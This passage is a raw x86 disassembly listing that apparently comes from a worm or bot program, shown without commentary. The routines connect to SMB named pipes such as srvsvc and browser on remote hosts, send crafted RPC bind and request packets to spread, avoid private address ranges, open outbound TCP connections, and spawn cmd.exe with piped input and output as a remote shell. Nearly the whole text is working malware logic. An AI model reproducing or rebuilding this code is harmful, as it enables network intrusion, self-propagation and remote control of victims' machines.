0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_41387C: ; CODE XREF: sub_41382E+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_422F79 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_413915 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_4223F0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_42F07C ; WriteFile test eax, eax jz short loc_41390C mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_41390C push [ebp+arg_20] call sub_4230B3 cmp [ebp+arg_2B], 0 pop ecx jz short loc_413908 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_41382E add esp, 2Ch jmp short loc_413917 ; --------------------------------------------------------------------------- loc_413908: ; CODE XREF: sub_41382E+B3j mov al, 1 jmp short loc_413917 ; --------------------------------------------------------------------------- loc_41390C: ; CODE XREF: sub_41382E+9Cj ; sub_41382E+A4j push [ebp+arg_20] call sub_4230B3 pop ecx loc_413915: ; CODE XREF: sub_41382E+61j xor al, al loc_413917: ; CODE XREF: sub_41382E+D8j ; sub_41382E+DCj pop edi pop esi pop ebx leave retn sub_41382E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41391C proc near ; CODE XREF: .text:00414084p var_60E0 = byte ptr -60E0h var_40E0 = byte ptr -40E0h var_20E0 = byte ptr -20E0h var_E0 = byte ptr -0E0h var_DC = byte ptr -0DCh var_DB = byte ptr -0DBh var_DA = byte ptr -0DAh var_D9 = byte ptr -0D9h var_D8 = dword ptr -0D8h var_D4 = word ptr -0D4h var_D2 = word ptr -0D2h var_D0 = dword ptr -0D0h var_CC = word ptr -0CCh var_CA = word ptr -0CAh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = word ptr -0C0h var_BE = byte ptr -0BEh var_BC = byte ptr -0BCh var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = word ptr -84h var_80 = byte ptr -80h var_70 = dword ptr -70h var_6C = qword ptr -6Ch var_64 = byte ptr -64h var_50 = dword ptr -50h var_44 = byte ptr -44h var_43 = byte ptr -43h var_42 = byte ptr -42h var_41 = byte ptr -41h var_40 = dword ptr -40h var_3A = word ptr -3Ah var_38 = dword ptr -38h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_8 = byte ptr 10h arg_C0 = dword ptr 0C8h arg_D8 = dword ptr 0E0h push ebp mov ebp, esp mov eax, 60E0h call sub_4220C0 push ebx push esi push edi lea eax, [ebp+arg_8] push offset a__0 ; "." push eax call sub_424380 pop ecx xor ebx, ebx test eax, eax pop ecx mov edi, offset byte_44D6A4 mov esi, 2000h jz short loc_413986 lea eax, [ebp+arg_8] push eax push offset aSPipe ; "\\\\%s\\pipe" lea eax, [ebp+var_20E0] push esi push eax call sub_42219B push 20h lea eax, [ebp+var_64] push ebx push eax call sub_4221F0 add esp, 1Ch lea eax, [ebp+var_20E0] mov [ebp+var_50], eax lea eax, [ebp+var_64] push ebx push edi push edi push eax call sub_421C72 loc_413986: ; CODE XREF: sub_41391C+2Ej lea eax, [ebp+arg_8] push eax push offset aSPipeSrvsvc ; "\\\\%s\\pipe\\srvsvc" lea eax, [ebp+var_40E0] push esi push eax call sub_42219B add esp, 10h lea eax, [ebp+var_40E0] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh mov dword ptr [ebp+var_C+4], eax jnz loc_413B78 lea eax, [ebp+arg_8] push offset a__0 ; "." push eax call sub_424380 pop ecx test eax, eax pop ecx jz short loc_413A16 lea eax, [ebp+arg_8] push eax push offset aSPipe ; "\\\\%s\\pipe" lea eax, [ebp+var_20E0] push esi push eax call sub_42219B push 20h lea eax, [ebp+var_64] push ebx push eax call sub_4221F0 add esp, 1Ch lea eax, [ebp+var_20E0] mov [ebp+var_50], eax lea eax, [ebp+var_64] push ebx push edi push edi push eax call sub_421C72 loc_413A16: ; CODE XREF: sub_41391C+BEj lea eax, [ebp+arg_8] push eax push offset aSPipeBrowser_0 ; "\\\\%s\\pipe\\browser" lea eax, [ebp+var_40E0] push esi push eax call sub_42219B add esp, 10h lea eax, [ebp+var_40E0] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh mov dword ptr [ebp+var_C+4], eax jnz loc_413B78 lea eax, [ebp+arg_8] push offset a__0 ; "." push eax call sub_424380 pop ecx test eax, eax pop ecx jz short loc_413AA6 lea eax, [ebp+arg_8] push eax push offset aSPipe ; "\\\\%s\\pipe" lea eax, [ebp+var_20E0] push esi push eax call sub_42219B push 20h lea eax, [ebp+var_64] push ebx push eax call sub_4221F0 add esp, 1Ch lea eax, [ebp+var_20E0] mov [ebp+var_50], eax lea eax, [ebp+var_64] push ebx push edi push edi push eax call sub_421C72 loc_413AA6: ; CODE XREF: sub_41391C+14Ej lea eax, [ebp+arg_8] push eax push offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc" lea eax, [ebp+var_40E0] push esi push eax call sub_42219B add esp, 10h lea eax, [ebp+var_40E0] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh mov dword ptr [ebp+var_C+4], eax jnz loc_413B78 lea eax, [ebp+arg_8] push offset a__0 ; "." push eax call sub_424380 pop ecx test eax, eax pop ecx jz short loc_413B36 lea eax, [ebp+arg_8] push eax push offset loc_438FF8 lea eax, [ebp+var_20E0] push esi push eax call sub_42219B push 20h lea eax, [ebp+var_64] push ebx push eax call sub_4221F0 add esp, 1Ch lea eax, [ebp+var_20E0] mov [ebp+var_50], eax lea eax, [ebp+var_64] push ebx push edi push edi push eax call sub_421C72 loc_413B36: ; CODE XREF: sub_41391C+1DEj lea eax, [ebp+arg_8] push eax push offset aSPipeTrkwks ; "\\\\%s\\pipe\\trkwks" lea eax, [ebp+var_40E0] push esi push eax call sub_42219B add esp, 10h lea eax, [ebp+var_40E0] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh mov dword ptr [ebp+var_C+4], eax jz loc_41403F loc_413B78: ; CODE XREF: sub_41391C+A6j ; sub_41391C+136j ... push 48h lea eax, [ebp+var_DC] push ebx push eax call sub_4221F0 push 10h xor edi, edi pop eax inc edi mov [ebp+var_D8], eax push eax lea eax, [ebp+var_BC] push offset dword_43C858 push eax mov [ebp+var_DC], 5 mov [ebp+var_DB], bl mov [ebp+var_DA], 0Bh mov [ebp+var_D9], 3 mov [ebp+var_D4], 48h mov [ebp+var_D2], bx mov [ebp+var_D0], ebx mov [ebp+var_CC], 10B8h mov [ebp+var_CA], 10B8h mov [ebp+var_C8], ebx mov [ebp+var_C4], edi mov [ebp+var_C0], bx mov [ebp+var_BE], 1 call sub_4223F0 push 10h lea eax, [ebp+var_A8] push offset dword_43C844 push eax mov [ebp+var_AC], 3 call sub_4223F0 add esp, 24h lea eax, [ebp+var_E0] mov [ebp+var_98], 2 push ebx push eax lea eax, [ebp+var_DC] push 48h push eax push dword ptr [ebp+var_C+4] call dword_42F07C ; WriteFile test eax, eax jz loc_413D36 lea eax, [ebp+var_10] push ebx push eax lea eax, [ebp+var_60E0] push esi push eax push dword ptr [ebp+var_C+4] call dword_42F054 ; ReadFile push ebx call sub_4241D4 push eax call sub_4220EF push 14h lea eax, [ebp+var_94] push 41h push eax call sub_4221F0 push 1Ch lea eax, [ebp+var_2C] push 41h push eax call sub_4221F0 add esp, 20h call sub_4220FC mov esi, [ebp+arg_D8] mov [ebp+var_94], eax mov [ebp+var_88], edi mov [ebp+var_8C], ebx lea esi, [esi+esi*4] mov [ebp+var_90], edi shl esi, 2 mov [ebp+var_84], bx cmp byte_43D86C[esi], bl jz short loc_413CD7 push 4 mov [ebp+var_20], edi mov [ebp+var_28], edi push offset dword_455610 jmp short loc_413CEF ; --------------------------------------------------------------------------- loc_413CD7: ; CODE XREF: sub_41391C+3AAj cmp byte_43D86D[esi], bl jz short loc_413CFE push 2 pop eax push 4 mov [ebp+var_20], eax mov [ebp+var_28], eax push offset loc_43C83C loc_413CEF: ; CODE XREF: sub_41391C+3B9j lea eax, [ebp+var_1C] mov [ebp+var_24], ebx push eax call sub_4223F0 add esp, 0Ch loc_413CFE: ; CODE XREF: sub_41391C+3C1j call sub_4220FC mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_2C], edx call sub_4220FC cdq idiv edi mov eax, dword_43D860[esi] mov [ebp+var_14], ebx push eax mov [ebp+var_4], eax inc edx mov [ebp+var_18], edx call sub_422F79 mov edi, eax pop ecx cmp edi, ebx jnz short loc_413D44 loc_413D36: ; CODE XREF: sub_41391C+32Cj push dword ptr [ebp+var_C+4] call dword_42F038 ; CloseHandle jmp loc_41403F ; --------------------------------------------------------------------------- loc_413D44: ; CODE XREF: sub_41391C+418j mov eax, [ebp+var_4] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_4221F0 mov eax, [ebp+var_4] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_4221F0 mov eax, dword_43D868[esi] push 7 add eax, edi push offset dword_43D854 push eax mov [ebp+arg_D8], eax call sub_4223F0 push dword_43D888 mov eax, [ebp+arg_D8] add eax, 7 push offset dword_432980 push eax call sub_4223F0 mov eax, dword_43D864[esi] add esp, 30h cmp byte_43D86C[esi], bl mov [ebp+arg_D8], eax jz short loc_413E0E push 4 add eax, edi push offset dword_455A9C push eax call sub_4223F0 add [ebp+arg_D8], 0Ch mov esi, offset dword_43D884 mov eax, [ebp+arg_D8] push 4 add eax, edi push esi push eax call sub_4223F0 mov eax, [ebp+arg_D8] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+arg_D8], eax call sub_4223F0 mov eax, [ebp+arg_D8] push 4 add eax, 0Ch push esi push eax call sub_4223F0 add esp, 30h jmp short loc_413E47 ; --------------------------------------------------------------------------- loc_413E0E: ; CODE XREF: sub_41391C+494j cmp byte_43D86D[esi], bl jz short loc_413E47 add eax, edi mov dword ptr [ebp+var_C], 10h mov [ebp+arg_D8], eax mov esi, offset dword_43D884 loc_413E2A: ; CODE XREF: sub_41391C+529j push 4 push esi push [ebp+arg_D8] call sub_4223F0 add [ebp+arg_D8], 4 add esp, 0Ch dec dword ptr [ebp+var_C] jnz short loc_413E2A loc_413E47: ; CODE XREF: sub_41391C+4F0j ; sub_41391C+4F8j mov eax, [ebp+var_4] add eax, 42h push eax call sub_422F79 mov esi, eax pop ecx cmp esi, ebx mov dword ptr [ebp+var_C], esi jnz short loc_413E72 push dword ptr [ebp+var_C+4] call dword_42F038 ; CloseHandle push edi call sub_4230B3 pop ecx jmp loc_41403F ; --------------------------------------------------------------------------- loc_413E72: ; CODE XREF: sub_41391C+53Fj mov eax, [ebp+var_4] add eax, 42h push eax push ebx ; double push esi call sub_4221F0 lea eax, [ebp+var_94] push 14h push eax push esi call sub_4223F0 mov eax, [ebp+var_4] mov dword ptr [ebp+var_6C+4], ebx mov dword ptr [ebp+var_6C], eax add esp, 10h fild [ebp+var_6C] fmul flt_42F31C fstp [esp+0Ch+var_C] call sub_4242B0 call sub_4234BC push [ebp+var_4] mov [esi+1Ch], eax mov [esi+14h], eax lea eax, [esi+20h] push edi push eax mov [esi+18h], ebx call sub_4223F0 mov eax, [ebp+var_4] add esp, 14h add eax, 20h test al, 3 mov [ebp+arg_D8], eax jz short loc_413EE5 loc_413EDA: ; CODE XREF: sub_41391C+5C1j inc eax test al, 3 jnz short loc_413EDA mov [ebp+arg_D8], eax loc_413EE5: ; CODE XREF: sub_41391C+5BCj lea ecx, [ebp+var_2C] push 1Ch add eax, esi push ecx push eax call sub_4223F0 add [ebp+arg_D8], 1Ch push edi call sub_4230B3 push 18h lea eax, [ebp+var_44] push ebx push eax call sub_4221F0 push 14h lea eax, [ebp+var_80] push ebx push eax mov [ebp+var_44], 5 mov [ebp+var_43], bl mov [ebp+var_42], bl mov [ebp+var_41], 3 mov [ebp+var_40], 10h mov [ebp+var_3A], bx mov [ebp+var_38], ebx mov [ebp+var_30], bx mov [ebp+var_2E], 1Fh call sub_4221F0 add esp, 28h push ebx push ebx push 1 push ebx call dword_42F094 ; CreateEventA mov [ebp+var_70], eax mov [ebp+var_4], ebx jmp short loc_413F57 ; --------------------------------------------------------------------------- loc_413F54: ; CODE XREF: sub_41391C+679j ; sub_41391C+6B9j mov esi, dword ptr [ebp+var_C] loc_413F57: ; CODE XREF: sub_41391C+636j cmp [ebp+var_4], 2 jge loc_414023 push 1 push 10B8h push [ebp+arg_D8] inc [ebp+var_4] push esi lea esi, [ebp+var_44] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp+var_C+4] rep movsd call sub_41382E add esp, 2Ch test al, al jz loc_414020 cmp [ebp+var_70], ebx jz short loc_413F54 lea eax, [ebp+var_80] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_60E0] push 2000h push eax push dword ptr [ebp+var_C+4] call dword_42F054 ; ReadFile test eax, eax jnz short loc_413FC5 call dword_42F068 ; RtlGetLastWin32Error cmp eax, 3E5h jnz short loc_41403F loc_413FC5: ; CODE XREF: sub_41391C+69Aj push 64h push [ebp+var_70] call dword_42F064 ; WaitForSingleObject cmp eax, 102h jnz loc_413F54 movzx eax, word_439014 push eax lea esi, [ebp+arg_8] sub esp, 0D0h push 34h pop ecx mov edi, esp rep movsd call sub_401160 add esp, 0D4h push 7D0h call dword_42F15C ; Sleep mov eax, [ebp+arg_C0] lea eax, [eax+eax*8] lea eax, ds:432090h[eax*8] inc dword ptr [eax] xor eax, eax inc eax jmp short loc_414041 ; --------------------------------------------------------------------------- loc_414020: ; CODE XREF: sub_41391C+670j mov esi, dword ptr [ebp+var_C] loc_414023: ; CODE XREF: sub_41391C+63Fj push dword ptr [ebp+var_C+4] mov edi, dword_42F038 call edi ; dword_42F038 push esi call sub_4230B3 cmp [ebp+var_70], ebx pop ecx jz short loc_41403F push [ebp+var_70] call edi ; dword_42F038 loc_41403F: ; CODE XREF: sub_41391C+256j ; sub_41391C+423j ... xor eax, eax loc_414041: ; CODE XREF: sub_41391C+702j pop edi pop esi pop ebx leave retn sub_41391C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+10h] push ebx push eax call sub_401AB3 pop ecx cmp eax, ebx pop ecx jnz short loc_414063 loc_41405F: ; CODE XREF: .text:00414066j push 0 jmp short loc_41406E ; --------------------------------------------------------------------------- loc_414063: ; CODE XREF: .text:0041405Dj cmp eax, 2 jz short loc_41405F cmp eax, 3 jnz short loc_414097 push ebx loc_41406E: ; CODE XREF: .text:00414061j sub esp, 0D0h lea esi, [ebp+10h] push 34h pop ecx mov edi, esp push dword ptr [ebp+0Ch] rep movsd push dword ptr [ebp+8] call sub_41391C add esp, 0DCh test eax, eax jz short loc_414097 mov eax, ebx jmp short loc_414099 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: .text:0041406Bj ; .text:00414091j xor eax, eax loc_414099: ; CODE XREF: .text:00414095j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41409E proc near ; CODE XREF: sub_401477+56p ; sub_403B2C+2121p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_4220FC mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi inc eax mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_42F320 call sub_4234BC sub esi, eax mov eax, esi pop esi leave retn sub_41409E endp ; =============== S U B R O U T I N E ======================================= sub_4140CF proc near ; CODE XREF: sub_401AB3+AAp ; .text:0040B805p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_45434C ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_4140F7 push [esp+arg_0] call dword_454398 ; gethostbyname test eax, eax jnz short loc_4140F0 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4140F0: ; CODE XREF: sub_4140CF+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_4140F7: ; CODE XREF: sub_4140CF+Dj retn sub_4140CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140F8 proc near ; DATA XREF: sub_41A1C8+4Co var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push esi push 2 push [ebp+arg_0] lea eax, [ebp+var_8] push eax call sub_41EF08 mov esi, offset a@ ; "@" push esi push [ebp+var_4] call sub_422248 push esi push 0 call sub_422248 push eax call sub_4140CF add esp, 20h mov [ebp+arg_0], eax push eax call dword_45439C ; inet_ntoa push eax push offset dword_4552D0 call dword_42F04C ; lstrcpyA push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_4542C0 ; gethostbyaddr pop esi test eax, eax push 9Fh jz short loc_41415D push dword ptr [eax] jmp short loc_414162 ; --------------------------------------------------------------------------- loc_41415D: ; CODE XREF: sub_4140F8+5Fj push offset aCouldnTResolve ; "Couldn't resolve" loc_414162: ; CODE XREF: sub_4140F8+63j push offset dword_4552E8 call sub_4222F0 add esp, 0Ch xor eax, eax leave retn sub_4140F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414173 proc near ; CODE XREF: sub_401160+D2p ; sub_403B2C+1D0Bp ... var_30 = byte ptr -30h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h cmp [ebp+arg_0], 0 push esi push edi jz loc_41426B push offset byte_44D6A4 push [ebp+arg_0] call sub_422760 pop ecx test eax, eax pop ecx jz loc_41426B push 20h lea eax, [ebp+var_30] push [ebp+arg_0] push eax call sub_4222F0 mov esi, offset a__0 ; "." lea eax, [ebp+var_30] push esi push eax call sub_422248 add esp, 14h mov [ebp+var_10], eax test eax, eax jz loc_41426B xor edi, edi inc edi loc_4141CA: ; CODE XREF: sub_414173+71j push esi push 0 call sub_422248 pop ecx mov [ebp+edi*4+var_10], eax test eax, eax pop ecx jz loc_41426B inc edi cmp edi, 4 jl short loc_4141CA mov esi, [ebp+var_10] push offset a10 ; "10" push esi call sub_422760 pop ecx test eax, eax pop ecx jz short loc_414266 push offset a172 ; "172" push esi call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41421E push offset a16 ; "16" push [ebp+var_C] call sub_422760 pop ecx test eax, eax pop ecx jz short loc_414266 loc_41421E: ; CODE XREF: sub_414173+96j push offset a192 ; "192" push esi call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_414242 push offset a168 ; "168" push [ebp+var_C] call sub_422760 pop ecx test eax, eax pop ecx jz short loc_414266 loc_414242: ; CODE XREF: sub_414173+BAj push offset a90 ; "90" push esi call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41426B push offset a0 ; "0" push [ebp+var_C] call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_41426B loc_414266: ; CODE XREF: sub_414173+85j ; sub_414173+A9j ... xor eax, eax inc eax jmp short loc_41426D ; --------------------------------------------------------------------------- loc_41426B: ; CODE XREF: sub_414173+Cj ; sub_414173+23j ... xor eax, eax loc_41426D: ; CODE XREF: sub_414173+F6j pop edi pop esi leave retn sub_414173 endp ; =============== S U B R O U T I N E ======================================= sub_414271 proc near ; CODE XREF: sub_40C847+4D0p ; sub_40C847+515p ... xor ax, ax retn sub_414271 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414275 proc near ; CODE XREF: sub_4033F0+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push 0 push 1 push 2 call dword_454394 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4142D7 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_4221F0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_454314 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_4140CF pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4542AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4142DC push esi call dword_4543AC ; closesocket loc_4142D7: ; CODE XREF: sub_414275+18j or eax, 0FFFFFFFFh jmp short loc_4142DE ; --------------------------------------------------------------------------- loc_4142DC: ; CODE XREF: sub_414275+59j mov eax, esi loc_4142DE: ; CODE XREF: sub_414275+65j pop esi leave retn sub_414275 endp ; =============== S U B R O U T I N E ======================================= sub_4142E1 proc near ; CODE XREF: sub_414311+2Ap ; sub_414349+59p ... mov eax, dword_455EC0 push esi mov esi, dword_42F038 cmp eax, 0FFFFFFFFh jz short loc_4142F5 push eax call esi ; dword_42F038 loc_4142F5: ; CODE XREF: sub_4142E1+Fj mov eax, dword_455ED8 cmp eax, 0FFFFFFFFh jz short loc_414302 push eax call esi ; dword_42F038 loc_414302: ; CODE XREF: sub_4142E1+1Cj mov eax, dword_455EB8 cmp eax, 0FFFFFFFFh jz short loc_41430F push eax call esi ; dword_42F038 loc_41430F: ; CODE XREF: sub_4142E1+29j pop esi retn sub_4142E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414311 proc near ; CODE XREF: sub_403B2C+3D3Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_422120 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_455ED4 call dword_42F07C ; WriteFile test eax, eax jnz short loc_414344 call sub_4142E1 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_414344: ; CODE XREF: sub_414311+28j xor eax, eax inc eax leave retn sub_414311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414349 proc near ; CODE XREF: sub_4143AB+DBp ; sub_4143AB+FAp ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_4220C0 push offset byte_44D6A4 push [ebp+arg_0] call dword_42F0A8 ; lstrcmpA test eax, eax jz short loc_41438B push 1F4h call dword_42F15C ; Sleep push [ebp+arg_8] push offset aS_1 ; "%s" push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 10h jmp short loc_4143A7 ; --------------------------------------------------------------------------- loc_41438B: ; CODE XREF: sub_414349+1Dj push [ebp+arg_8] lea eax, [ebp+var_1000] push offset aS_1 ; "%s" push eax call sub_422063 add esp, 0Ch call sub_4142E1 loc_4143A7: ; CODE XREF: sub_414349+40j xor eax, eax leave retn sub_414349 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143AB proc near ; DATA XREF: sub_414508+177o var_100C = byte ptr -100Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 100Ch call sub_4220C0 push ebx push esi push edi mov esi, 1000h xor edi, edi mov ebx, offset dword_455EF0 loc_4143C7: ; CODE XREF: sub_4143AB+7Dj ; sub_4143AB+E3j push esi lea eax, [ebp+var_100C] push edi push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_100C] push esi push eax push dword_455EC0 call dword_42F0B0 ; PeekNamedPipe test eax, eax jz loc_414499 cmp [ebp+var_4], edi jnz short loc_41442A lea eax, [ebp+var_8] push eax push dword_455EB8 call dword_42F0AC ; GetExitCodeProcess test eax, eax jz short loc_414420 cmp [ebp+var_8], 103h jnz loc_4144BD loc_414420: ; CODE XREF: sub_4143AB+66j push 0Ah call dword_42F15C ; Sleep jmp short loc_4143C7 ; --------------------------------------------------------------------------- loc_41442A: ; CODE XREF: sub_4143AB+52j xor eax, eax cmp [ebp+var_4], edi jbe short loc_414441 loc_414431: ; CODE XREF: sub_4143AB+94j cmp [ebp+eax+var_100C], 0Ah jz short loc_414493 inc eax cmp eax, [ebp+var_4] jb short loc_414431 loc_414441: ; CODE XREF: sub_4143AB+84j mov [ebp+var_4], 200h loc_414448: ; CODE XREF: sub_4143AB+ECj push esi lea eax, [ebp+var_100C] push edi push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_100C] push eax push dword_455EC0 call dword_42F054 ; ReadFile test eax, eax jz short loc_4144E5 lea eax, [ebp+var_100C] push eax push dword_455EDC push ebx call sub_414349 add esp, 0Ch jmp loc_4143C7 ; --------------------------------------------------------------------------- loc_414493: ; CODE XREF: sub_4143AB+8Ej inc eax mov [ebp+var_4], eax jmp short loc_414448 ; --------------------------------------------------------------------------- loc_414499: ; CODE XREF: sub_4143AB+49j push offset aCouldNotReadDa ; "Could not read data from proccess.\r\n" push dword_455EDC push ebx call sub_414349 push [ebp+arg_0] call sub_41C059 add esp, 10h push 1 call dword_42F150 ; ExitThread loc_4144BD: ; CODE XREF: sub_4143AB+6Fj call sub_4142E1 push offset aProccessTermin ; "Proccess terminated.\r\n" push dword_455EDC push ebx call sub_414349 push [ebp+arg_0] call sub_41C059 add esp, 10h push edi call dword_42F150 ; ExitThread loc_4144E5: ; CODE XREF: sub_4143AB+CBj push offset aCouldNotReadDa ; "Could not read data from proccess.\r\n" push dword_455EDC push ebx call sub_414349 push [ebp+arg_0] call sub_41C059 add esp, 10h push edi call dword_42F150 ; ExitThread sub_4143AB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414508 proc near ; CODE XREF: sub_403B2C+3C2Cp var_1174 = byte ptr -1174h var_174 = byte ptr -174h var_70 = dword ptr -70h var_44 = dword ptr -44h var_40 = word ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1174h call sub_4220C0 mov eax, [ebp+arg_4] push ebx push esi push edi mov dword_455EDC, eax call sub_4142E1 xor esi, esi lea eax, [ebp+var_174] push esi push eax push 104h mov edi, offset aCmd_exe ; "cmd.exe" push esi push edi push esi call dword_4543D4 ; SearchPathA test eax, eax jz loc_414608 lea eax, [ebp+var_18] mov ebx, dword_42F0B8 push esi push eax lea eax, [ebp+var_8] mov [ebp+var_18], 0Ch push eax lea eax, [ebp+var_C] push eax mov [ebp+var_10], 1 mov [ebp+var_14], esi call ebx ; dword_42F0B8 test eax, eax jz loc_414608 lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push eax call ebx ; dword_42F0B8 test eax, eax jz short loc_414608 mov ebx, dword_42F040 push 3 push esi push esi push offset dword_455ED4 call ebx ; dword_42F040 push eax push [ebp+var_4] call ebx ; dword_42F040 push eax call dword_42F0B4 ; DuplicateHandle test eax, eax jz short loc_414608 push 10h lea eax, [ebp+var_28] push esi push eax call sub_4221F0 push 44h lea eax, [ebp+var_70] pop ebx push ebx push esi push eax call sub_4221F0 mov eax, [ebp+arg_4] add esp, 18h mov [ebp+var_38], eax mov eax, [ebp+var_8] mov [ebp+var_34], eax mov [ebp+var_30], eax lea eax, [ebp+var_28] mov [ebp+var_70], ebx push eax lea eax, [ebp+var_70] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_174] push edi push eax mov [ebp+var_44], 101h mov [ebp+var_40], si call dword_42F078 ; CreateProcessA test eax, eax jnz short loc_414610 loc_414608: ; CODE XREF: sub_414508+3Cj ; sub_414508+6Aj ... or eax, 0FFFFFFFFh jmp loc_4146B4 ; --------------------------------------------------------------------------- loc_414610: ; CODE XREF: sub_414508+FEj push [ebp+arg_4] mov edi, dword_42F038 call edi ; dword_42F038 mov eax, [ebp+var_C] push [ebp+var_24] mov dword_455EC0, eax mov eax, [ebp+var_4] mov dword_455ED8, eax mov eax, [ebp+var_28] mov dword_455EB8, eax call edi ; dword_42F038 cmp [ebp+arg_0], esi jz short loc_414642 push [ebp+arg_0] jmp short loc_414647 ; --------------------------------------------------------------------------- loc_414642: ; CODE XREF: sub_414508+133j push offset byte_44D6A4 loc_414647: ; CODE XREF: sub_414508+138j push offset dword_455EF0 call sub_422063 pop ecx mov ebx, offset aCkdai0gd9lr_ ; "ckdai0Gd9lr." pop ecx push ebx push offset aSCmdPrompt 